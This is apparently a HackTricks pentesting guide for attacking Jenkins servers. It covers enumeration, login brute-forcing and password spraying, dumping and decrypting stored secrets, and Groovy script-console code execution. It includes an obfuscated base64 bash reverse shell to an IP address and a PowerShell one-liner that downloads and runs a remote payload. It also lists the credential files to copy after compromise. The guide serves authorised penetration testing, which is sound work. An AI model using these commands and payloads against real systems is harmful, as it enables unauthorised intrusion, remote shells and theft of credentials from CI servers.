hacktricks/pentesting/pentesting-web/jenkins.md

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# Jenkins
## Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
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Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
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You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
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![](<../../.gitbook/assets/image (415).png>)
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## Login
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**\
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****Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
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### Bruteforce
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**Jekins** does **not** implement any **password policy** or username **brute-force mitigation**. Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used (even **usernames as passwords** or **reverse** usernames as passwords).
```
msf> use auxiliary/scanner/http/jenkins_login
```
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## Jenkins Abuses
### Known Vulnerabilities
{% embed url="https://github.com/gquere/pwn_jenkins" %}
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### Dumping builds to find cleartext secrets
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Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/dump\_builds/jenkins\_dump\_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
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### Password spraying
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Use [this python script](https://github.com/gquere/pwn\_jenkins/blob/master/password\_spraying/jenkins\_password\_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### Decrypt Jenkins secrets offline
Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/offline\_decryption/jenkins\_offline\_decrypt.py) to decrypt previsously dumped secrets.
### Decrypt Jenkins secrets from Groovy
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```
println(hudson.util.Secret.decrypt("{...}"))
```
## Code Execution
### **Create a new project**
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1. Create a new project (Freestyle project)
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
****
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
![](<../../.gitbook/assets/image (158).png>)
Or **try to access to the path **_**/configure**_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](<../../.gitbook/assets/image (159).png>)
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Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
### **Execute Groovy script**
Best way. Less noisy.
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1. Go to _path\_jenkins/script_
2. Inside the text box introduce the script
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
You could execute a command using: `cmd.exe /c dir`
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In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
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**Another useful groovy script** is (replace \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
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### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### MSF exploit
You can use MSF to get a reverse shell:
```
msf> use exploit/multi/http/jenkins_script_console
```
## POST
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### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
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### Files to copy after compromission
These files are needed to decrypt Jenkins secrets:
* secrets/master.key
* secrets/hudson.util.Secret
Such secrets can usually be found in:
* credentials.xml
* jobs/.../build.xml
Here's a regexp to find them:
```
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
```
## References
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{% embed url="https://github.com/gquere/pwn_jenkins" %}
{% embed url="https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/" %}
{% embed url="https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password" %}